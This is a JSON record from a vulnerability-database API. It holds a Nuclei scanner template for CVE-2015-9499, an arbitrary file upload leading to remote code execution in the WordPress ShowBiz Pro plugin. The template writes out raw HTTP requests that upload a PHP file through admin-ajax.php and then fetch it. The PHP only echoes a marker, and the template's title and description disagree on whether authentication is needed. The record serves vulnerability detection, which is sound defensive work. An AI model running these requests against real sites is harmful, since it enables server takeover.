{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2015-9499/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2015-9499/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2015-9499/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2015-9499/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2015-9499/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2015-9499"},"sightings":{"href":"/api/v1/sightings/cve-2015-9499"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2015/CVE-2015-9499.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2015-9499\n\ninfo:\n  name: WordPress ShowBiz Pro <= 1.7.1 - Authenticated Arbitrary File Upload to RCE\n  author: iamnoooob,pdresearch\n  severity: critical\n  description: |\n    The WordPress ShowBiz Pro plugin version <= 1.7.1 allows arbitrary PHP file upload via the `admin-ajax.php` endpoint.This leads to unauthenticated remote code execution.\n  impact: |\n    Attackers can upload and execute arbitrary PHP files without authentication, leading to complete server compromise and data breach.\n  remediation: |\n    Remove or disable the plugin immediately and update to a patched version if available.\n  reference:\n    - https://wpscan.com/vulnerability/1c8f1872-a699-464a-9c6b-f8a49ca22ecb/\n    - https://nvd.nist.gov/vuln/detail/CVE-2015-9499\n    - https://packetstormsecurity.com/files/132737/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2015-9499\n    cwe-id: CWE-434\n    epss-score: 0.16254\n    epss-percentile: 0.96959\n    cpe: cpe:2.3:a:themepunch:showbiz_pro:*:*:*:*:*:wordpress:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: themepunch\n    product: showbiz_pro\n    framework: wordpress\n  tags: cve,cve2015,wpscan,packetstorm,wp,wordpress,wp-plugin,showbiz,uplo,intrusive,vkev,vuln\n\nvariables:\n  marker: \"{{randstr}}\"\n  b64marker: \"{{base64(marker)}}\"\n  filename: \"{{rand_base(5)}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        X-Requested-With: XMLHttpRequest\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryWJDMjlXCUnC1rnZg\n\n        ------WebKitFormBoundaryWJDMjlXCUnC1rnZg\n        Content-Disposition: form-data; name=\"action\"\n\n        showbiz_ajax_action\n        ------WebKitFormBoundaryWJDMjlXCUnC1rnZg\n        Content-Disposition: form-data; name=\"client_action\"\n\n        update_plugin\n        ------WebKitFormBoundaryWJDMjlXCUnC1rnZg\n        Content-Disposition: form-data; name=\"update_file\"; filename=\"{{filename}}.zip\"\n        Content-Type: application/zip\n\n        {{zip('{{filename}}.php','<?php echo base64_decode(\\'{{b64marker}}\\'); ?>')}}\n        ------WebKitFormBoundaryWJDMjlXCUnC1rnZg--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - \"contains_all(body,'Update in progress...','wp-admin/admin.php?page=showbiz&view=sliders')\"\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /wp-content/plugins/showbizpro/temp/update_extract/{{filename}}.php HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - \"contains(body,'{{marker}}')\"\n        condition: and\n# digest: 4a0a00473045022100c8db30e850f27ddadc8ace4e8f936d0a046019041a689dd1886c9f0ae7f90d6302205bb379ffaeeade70e20cad9f6cd38eae8f093c11799f50dd923ac3a0662c1aad:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2015-9499"}